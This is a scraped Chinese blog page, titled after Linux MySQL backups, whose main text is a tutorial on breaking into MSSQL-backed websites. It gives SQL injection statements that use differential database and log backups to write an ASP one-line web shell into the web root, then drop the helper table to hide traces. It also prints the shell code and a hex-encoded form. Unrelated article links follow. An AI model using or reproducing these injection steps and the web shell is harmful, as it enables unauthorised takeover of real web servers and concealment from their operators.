Linux MySQL差异备份技巧
MSSQL差异备份使用技巧
15 Apr 2013
所谓的差异备份,就是只备份最近一次备份之后到此次备份之前所增加的那一部分数据。打个比方我第N次备份后数据库存放的内容是ABCD,然后我第N+1次 备份的时候使用差异备份,此时数据库的存放的内容是ABCDEFG。那么我差异备份的结果就是EFG,只备份增加量。都明白了我们就开始讲点有用的东西 啦,嘿嘿~~为什么要用差异备份呢?因为规模点的网站数据库一般有几十M甚至,那么你备份出来的数据就有几十M,然后你从WEB上打开个几十M内容文件的 话……估计要很久吧。这么入侵的话我觉得你还是直接拿刀找网管让他把后台密码给你好了。再者我们备份的一句话木马会受到影响,如果数据库中存在《或者%之 类的字符的话。可能导致我们小马无法访问。还有就是备份那么大的数据库可能会导致脚本操作超时,所以我们得尽量减少我们备份出来的数据库的大小。
我们来介绍下SQL的备份语句: BACKUP DATABASE (表示你要备份的数据库名) TO DISK='*'(表示你要备份的数据库路径)WITH DIFFERENTIAL(告诉数据库你要进行差异备份,如果没有WITHDIFFERENTIAL则进行完整备份) 举个例子,比如我们知道了WEB服务器的物理路径 D:\WEB,服务器的数据库名为XXX 那么如果我们将一个一句话木马插入数据库中(后面讲到)然后备份数据库,具体语句如下 BACKUP DATABASE??XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL 注意到D:\WEB\AY.ASP没有,意思就是说把数据库备份到WEB目录下而且数据库备份文件名为AY.ASP,可喜的是 AY.ASP这个文件中存在我们的一句话木马语句,当服务器遇到ASP后缀名的文件时会对该文件进行ASP解析,ASP解析的原则是遇到<%开始解 析,%>结束解析。比如我们向数据库中插入一句话木马,这个时候我们插入的数据是新增的数据,然后用差异备份备份一个ASP文件到WEB目录下。那 么这个ASP文件下就会存在我们的木马内容了。
?
首先我们需要注入的数据库类型是MSSQL的,而且这个数据库的连接权限必须是DB_OWNER的权限(一般MSSQL数据库网站都是这个权限的)。
先介绍数据库差异备份的方法:
URL;create table ay(ay1 image)--
//新建一个名为AY的表 表内存在名为AY1的图象类型的字段
URL;backup database 数据库名 to disk='物理路径' with DIFFERENTIAL--
//注意,这次备份是要减小数据库的备份量
URL;insert into ay(ay1) values ('一句话木马')--
//向你新建的表中插入一句话木马内容
URL;backup database 数据库名 to disk='物理路径'with DIFFERENTIAL--
//备份数据库到WEB目录下
URL;drop table ay--
//删除表名,清理痕迹
然后是log差异备份的方法:
URL';alter database 数据库名 set RECOVERY FULL--
//(把SQL设置成完全恢复模式)
URL';create table cmd (a image)--
//(新建立一个cmd表)
URL';backup log 数据库名 to disk ='文件地址' with init --
//(减少备份数据的大小)
URL';insert into cmd (a) values ('一句话木马') --
//(插入一句话木马)
URL';backup log 数据库名 to disk ='文件地址' --
//(备份X志到WEB路径)
URL';drop table cmd--
//(删除新建的cmd表)
奉上一个asp一句话: <%eval(request("#"))%>
十六进制形式: 0x3C256576616C2872657175657374282223222929253E
Linux MySQL差异备份技巧的更多相关文章
- 结合Git实现Mysql差异备份,可用于生产环境
埋头苦干多年一直没写过文章,今天突发狂想,为LNMP阵营贡献一些力量.就从平时工作过程中的心得和一些技巧分享出来.今天就猿们最熟悉的Mysql开始宅鸟的开篇博客文章.欢迎猿们拍砖.转载. 注意:宅鸟的 ...
- linux mysql定时备份
项目需要定时备份数据库,以下是自己的操作笔记 1.检查磁盘空间 # df -h Filesystem Size Used Avail Use% Mounted on /dev/vda1 40G 3.6 ...
- linux mysql 定时备份
1.查看磁盘空间情况: 既然是定时备份,就要选择一个空间充足的磁盘空间,避免出现因空间不足导致备份失败,数据丢失的恶果! 存储到当前磁盘这是最简单,却是最不推荐的:服务器有多块硬盘,最好是把备份存放到 ...
- linux mysql 定时备份 使用crontab
第一步:在服务器上配置备份目录代码: mkdir /var/lib/mysqlbackup cd /var/lib/mysqlbackup 第二步:编写备份脚本代码: vi dbbackup.sh ...
- linux mysql自动备份 和 数据恢复
1.写一个脚本:/root/mysql_backup.sh vim /root/mysql_backup.sh #!/bin/bashbackupdir=/data/mysql_backup ti ...
- 阿里云 如何减少备份使用量? mysql数据库的完整备份、差异备份、增量备份
RDS for MySQL备份.SQL审计容量相关问题_MYSQL使用_技术运维问题_云数据库 RDS 版-阿里云 https://help.aliyun.com/knowledge_detail/4 ...
- linux设置定时备份mysql数据库
最近写自己的项目,买了阿里云服务器,可以在云上根据自己想到的需求随意使用技术,感觉很爽.备份mysql流程如下: 环境:CentOS Linux release 7.2.1511 (Core) mys ...
- MySQL自动化运维之用mysqldump和mysqlbinlog实现某一数据库的每周全备和每天差异备份,并添加到执行计划【热备】
案例: 线上有一数据库,需要每周全备一次,每天差备一次[安全起见还是差备吧,不要增备,不要吝啬磁盘哦,而且差备恢复还很快] 1.每周对数据库hellodb做完全备份 crontab任务计划: * * ...
- linux自动定时备份web程序和mysql数据库
前些天受朋友说linux定时备份不知道怎么搞,叫帮忙处理一下.由于这段时间正闲着,所以也就欣然答应.由于朋友对linux不懂也希望我将操作的过程记录下来,也就是越详细越好.所以写得比较$%^& ...
随机推荐
- xml基本操作
在实际项目中遇到一些关于xml操作的问题,被逼到无路可退的时候终于决定好好研究xml一番.xml是一种可扩展标记语言,可跨平台进行传输,因此xml被广泛的使用在很多地方. 本文由浅入深,首先就xml的 ...
- angular例子笔记
学习angular的插件写法和制作; <!DOCTYPE html> <html ng-app="APP"> <head> <meta c ...
- 日志框架对比 NLog VS Log4net
Log4net 先说Log4net,它是.net平台上一个老牌的日志框架,我接触的时间也不长(因为公司有自己的日志库),但是看着各开源库都在用这个于是前段时间也尝试去了解了一下. 首先让我认识到Log ...
- git 命令的学习
我们在安装好gitlab 之后就是怎么使用它了,这里我选择http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b806 ...
- Luncene 学习入门
Lucene是apache组织的一个用java实现全文搜索引擎的开源项目. 其功能非常的强大,api也很简单.总得来说用Lucene来进行建立 和搜索和操作数据库是差不多的(有点像),Document ...
- 【Matplotlib】 标注摄氏度符号
之前论文中作图遇到的,其实也很简单. 关键的代码如下: ax.set_xlabel('Temperature ($^\circ$C)') 完整的样例代码如下: # -*- coding: utf-8 ...
- 手动搭建SpringMVC报错
猜测这个是由于自己在搭建时缺少包造成的,后来将按照自己之前的项目将包补齐,tomcat就不报错了,看来还是要学习maven 这样就不会缺少包了
- 【教程】如何正确的写一个Lemon/Cena的SPJ(special judge)
转自:http://www.cnblogs.com/chouti/p/5752819.html Special Judge:当正确的输出结果不唯一的时候需要的自定义校验器 首先有个框架 #includ ...
- float,double,decimal使用讨论
注意:有效位:小数点前后的全部数字,不包括小数点在内 float:浮点型,含字节数为4,32bit,数值范围为-3.4E38~3.4E38(7个有效位) double:双精度实型,含字节数为8,64b ...
- TYVJP1933 绿豆蛙的归宿
背景 随着新版百度空间的上线,Blog宠物绿豆蛙完成了它的使命,去寻找它新的归宿. 描述 给出一个有向无环图,起点为1终点为N,每条边都有一个长度,并且从起点出发能够到达所有的点,所有的点也都能够到达 ...